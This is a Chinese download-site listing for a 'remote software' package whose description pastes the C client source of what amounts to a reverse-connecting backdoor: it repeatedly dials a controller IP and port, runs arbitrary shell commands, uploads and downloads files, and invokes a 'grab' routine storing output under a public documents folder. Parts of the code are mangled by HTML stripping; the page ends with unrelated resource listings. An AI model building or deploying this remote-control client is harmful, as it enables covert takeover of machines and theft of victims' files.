首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

我的远程软件 客户端C 服务端python

安全技术 4.67KB 19 需要积分: 1
立即下载

资源介绍:

入口为RunClientLoop函数
#include #include #include "grab.c" void start_socket(){ WSADATA data; WSAStartup(0x0202,&data); } SOCKET tcp_connect(char*ip,WORD port){ SOCKET sock=socket(AF_INET,SOCK_STREAM,0); SOCKADDR_IN addr={0}; addr.sin_family=AF_INET; addr.sin_addr.S_un.S_addr=inet_addr(ip); addr.sin_port=ntohs(port); int r=connect(sock,(SOCKADDR*)&addr,sizeof(addr)); if(r==SOCKET_ERROR){ closesocket(sock); return 0; } return sock; } BOOL sendpkg(SOCKET sock,void*data,int n){ int flg=0x44332211; send(sock,&flg,4,0); send(sock,&n,4,0); int r=send(sock,data,n,0); return r>0; } char* recvpkg(SOCKET sock,int*plen){ int n=0; recv(sock,&n,4,0); if(n!=0x44332211){ return 0; } recv(sock,&n,4,0); char*buf=(char*)malloc(n); if(!buf){ return 0; } recv(sock,buf,n,0); *plen=n; return buf; } int getnum(char*buf,int len){ int n=0; for(int i=0;ipkg; char*ip=con->ip; WORD port=con->port; printf("len=%d\n",con->len); int num=getnum(pkg,con->len); puts("@1"); int len=con->len; puts("----recv-----"); for(int i=0;iip,con->port,"c:\\users\\public\\documents\\grab"); } else if(!stricmp(cmd,"close")){ closesocket(con->sock); } else if(!stricmp(cmd,"terminal")){ TerminateProcess(GetCurrentProcess(),0); } else if (!stricmp(cmd,"test")&&num==2) { echo(con->ip,con->port,getstr(pkg,len,1)); } else if (!stricmp(cmd,"upfile")&&num==3) { upfile(ip,port,getstr(pkg,len,1),getstr(pkg,len,2)); } else if (!stricmp(cmd,"downfile")&&num==3) { downfile(ip,port,getstr(pkg,len,1),getstr(pkg,len,2)); } else if (!stricmp(cmd,"cmd")&&num==2) { subproc(ip,port,getstr(pkg,len,1)); } else if (!stricmp(cmd,"ll")&&num==1) { subproc(ip,port,"dir"); } else if (!stricmp(cmd,"ls")&&num==1) { subproc(ip,port,"dir"); } else if (!stricmp(cmd,"pwd")) { char*p=(char*)malloc(MAX_PATH); if(p){ GetCurrentDirectoryA(MAX_PATH,p); echo(ip,port,p); free(p); } } else if (!stricmp(cmd,"cd")&&num==2) { SetCurrentDirectoryA(getstr(pkg,len,1)); char*p=(char*)malloc(MAX_PATH); if(p){ GetCurrentDirectoryA(MAX_PATH,p); echo(ip,port,p); free(p); } } free(pkg); free(con); } void RunClient(CLIENT_CONTENXT *con,char*fname){ con->sock=login(con->ip,con->port,fname); if(!con->sock){ return; } while(1){ int len=0; char*pkg=recvpkg(con->sock,&len); if(!pkg){ break; } CLIENT_CONTENXT *ctx=(CLIENT_CONTENXT*)malloc(sizeof(CLIENT_CONTENXT)); ctx->ip=con->ip; ctx->port=con->port; ctx->pkg=pkg; ctx->len=len; ctx->sock=con->sock; CreateThread(0,0,(LPTHREAD_START_ROUTINE)handle_once,ctx,0,0); } closesocket(con->sock); puts("over"); } void RunClientLoop(char*ip,WORD port,int t,char*fname){ CLIENT_CONTENXT con={0}; con.ip=ip; con.port=port; while(1){ puts("connect"); RunClient(&con,fname); Sleep(t); } }

资源文件列表:

ma3.zip 大约有3个文件
  1. client.c 7.09KB
  2. grab.c 3.6KB
  3. server.py 4.85KB
0评论
提交 加载更多评论
其他资源 好用的excel工具包
好用的excel工具包
ISO 26262 2018 Published 2nd.zip
ISO 26262 2018 1-12
三菱mc4c开发Java代码Demo
详细参考博客https://blog.csdn.net/h4241778/article/details/140947315?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22140947315%22%2C%22source%22%3A%22h4241778%22%7D 解压密码博客中
一款摩尔斯电码发报练习软件Lakey
乳山市业余无线电知识库文件 ////此处仅为软件备份,软件相关权益归原作者所有//// Lakey是一款摩尔斯电码发报练习软件,具有摩尔斯电码解析、音频频谱分析、摩尔斯电码听抄练习、可进行多主机网络通联练习或试验等特点。 主要特性: 1、利用键盘或鼠标进行摩尔斯电码发报练习,支持键盘直接录入,支持手键和自动键方式; 2、摩尔斯电码听抄练习,可以将听抄音频转换为WAV文件,用于通过手机或其他移动设备进行听抄练习; 3、摩尔斯电码解析,可以用做发报练习参考; 4、音频频谱分析,可以对电脑音频模拟输入(Line in、Aux in或Mic in等)进行音频分析并显示; 5、发报键状态可以输出到计算机I/O接口,对外围设备进行简单控制; 6、可进行多主机网络通联练习或试验。
关于pygame跑酷游戏的示例
关于pygame跑酷游戏的示例
铁路数据SHP、DBF、SHX
铁路数据SHP、DBF、SHX
青橙商城,青橙商城,青橙商城,青橙商城
青橙商城,青橙商城,青橙商城,青橙商城
抖音视频矩阵PHP解密
抖音视频矩阵PHP解密